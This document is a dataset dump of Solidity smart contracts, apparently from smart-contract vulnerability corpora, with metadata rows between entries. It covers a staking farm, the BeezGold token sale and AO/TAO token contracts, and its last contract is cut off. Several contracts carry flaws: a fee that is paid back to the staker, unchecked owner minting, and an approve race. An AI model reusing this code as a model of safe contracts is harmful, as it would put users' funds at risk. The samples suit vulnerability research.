function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
uint256 fee = pendingDivs.mul(2000).div(1e4);
uint256 pendingDivsAfterFee = pendingDivs.sub(fee);
if (pendingDivsAfterFee > 0) {
require(Token(tokenAddress).transfer(account, pendingDivsAfterFee), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivsAfterFee);
totalClaimedRewards = totalClaimedRewards.add(pendingDivsAfterFee);
emit RewardsTransferred(account, pendingDivsAfterFee);
}
if (fee > 0) {
require(Token(tokenAddress).transfer(account, fee), "Could not transfer tokens.");
totalDevFee = totalDevFee.add(fee);
emit RewardsTransferred(account, fee);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
if (block.timestamp <= farmEnableat + 1 days) {
uint256 pendingDivs = stakedAmount.mul(993905).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 1 days && block.timestamp <= farmEnableat + 2 days) {
uint256 pendingDivs = stakedAmount.mul(915952).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 2 days && block.timestamp <= farmEnableat + 3 days) {
uint256 pendingDivs = stakedAmount.mul(841896).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 3 days && block.timestamp <= farmEnableat + 4 days) {
uint256 pendingDivs = stakedAmount.mul(775636).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 4 days && block.timestamp <= farmEnableat + 5 days) {
uint256 pendingDivs = stakedAmount.mul(713273).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 5 days && block.timestamp <= farmEnableat + 6 days) {
uint256 pendingDivs = stakedAmount.mul(654808).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 6 days && block.timestamp <= farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(604139).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 7 days && block.timestamp <= farmEnableat + 8 days) {
uint256 pendingDivs = stakedAmount.mul(553469).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 8 days && block.timestamp <= farmEnableat + 9 days) {
uint256 pendingDivs = stakedAmount.mul(510595).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 9 days && block.timestamp <= farmEnableat + 10 days) {
uint256 pendingDivs = stakedAmount.mul(467720).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 10 days && block.timestamp <= farmEnableat + 11 days) {
uint256 pendingDivs = stakedAmount.mul(432641).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 11 days && block.timestamp <= farmEnableat + 12 days) {
uint256 pendingDivs = stakedAmount.mul(397562).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 12 days && block.timestamp <= farmEnableat + 13 days) {
uint256 pendingDivs = stakedAmount.mul(366381).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 13 days && block.timestamp <= farmEnableat + 14 days) {
uint256 pendingDivs = stakedAmount.mul(335200).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 14 days && block.timestamp <= farmEnableat + 15 days) {
uint256 pendingDivs = stakedAmount.mul(307916).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 15 days && block.timestamp <= farmEnableat + 16 days) {
uint256 pendingDivs = stakedAmount.mul(284530).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 16 days && block.timestamp <= farmEnableat + 17 days) {
uint256 pendingDivs = stakedAmount.mul(261144).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 17 days && block.timestamp <= farmEnableat + 18 days) {
uint256 pendingDivs = stakedAmount.mul(241656).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 18 days && block.timestamp <= farmEnableat + 19 days) {
uint256 pendingDivs = stakedAmount.mul(222167).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 19 days && block.timestamp <= farmEnableat + 20 days) {
uint256 pendingDivs = stakedAmount.mul(202679).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 20 days && block.timestamp <= farmEnableat + 21 days) {
uint256 pendingDivs = stakedAmount.mul(187088).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 21 days && block.timestamp <= farmEnableat + 22 days) {
uint256 pendingDivs = stakedAmount.mul(171498).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 22 days && block.timestamp <= farmEnableat + 23 days) {
uint256 pendingDivs = stakedAmount.mul(159805).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 23 days && block.timestamp <= farmEnableat + 24 days) {
uint256 pendingDivs = stakedAmount.mul(144214).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 24 days && block.timestamp <= farmEnableat + 25 days) {
uint256 pendingDivs = stakedAmount.mul(132521).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 25 days && block.timestamp <= farmEnableat + 26 days) {
uint256 pendingDivs = stakedAmount.mul(124726).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 26 days && block.timestamp <= farmEnableat + 27 days) {
uint256 pendingDivs = stakedAmount.mul(113033).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 27 days && block.timestamp <= farmEnableat + 28 days) {
uint256 pendingDivs = stakedAmount.mul(105237).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 28 days && block.timestamp <= farmEnableat + 29 days) {
uint256 pendingDivs = stakedAmount.mul(97442).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 29 days && block.timestamp <= farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(89647).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(farmEnabled, "Farming is not enabled");
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function enableFarming() external onlyOwner() {
farmEnabled = true;
farmEnableat = block.timestamp;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != LPtokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 257,937 | 11,129 |
c612c2a9dbc9ae2dee038070cf98d57ef34887decb7743d629c004812e705528
| 10,677 |
.sol
|
Solidity
| false |
464846914
|
1052445594/ScrawlD
|
fe09170b492d3757050b3e5e14430140a3407b45
|
contracts/0x53fedbfc3f34bcda66f7dbbff52c907e7707bbff.sol
| 2,689 | 10,134 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BeezGold is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "BeezGold";
string public constant symbol = "BG";
uint public constant decimals = 8;
uint public deadline = now + 165 * 1 days;
uint public round2 = now + 130 * 1 days;
uint public round1 = now + 35 * 1 days;
uint256 public totalSupply = 70000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 1000; // 0.005 Ether
uint256 public tokensPerEth = 25700e8;
uint public target0drop = 0;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x654186811320885fC24C318E70a119A43279c1BE;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 15767770e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 5 ether / 10;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 20 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 229,520 | 11,130 |
9860d56fa240058542e0f48dc978eb8c7dbbd50ce80e6c9c39ea6d561ce35d1a
| 30,171 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xd5dc37b3660d1fe6014c7054398a2ddb2b8a0989.sol
| 5,268 | 17,294 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
((isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)));
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event Burn(address indexed from, uint256 value);
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
function mint(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mint(target, mintedAmount);
return true;
}
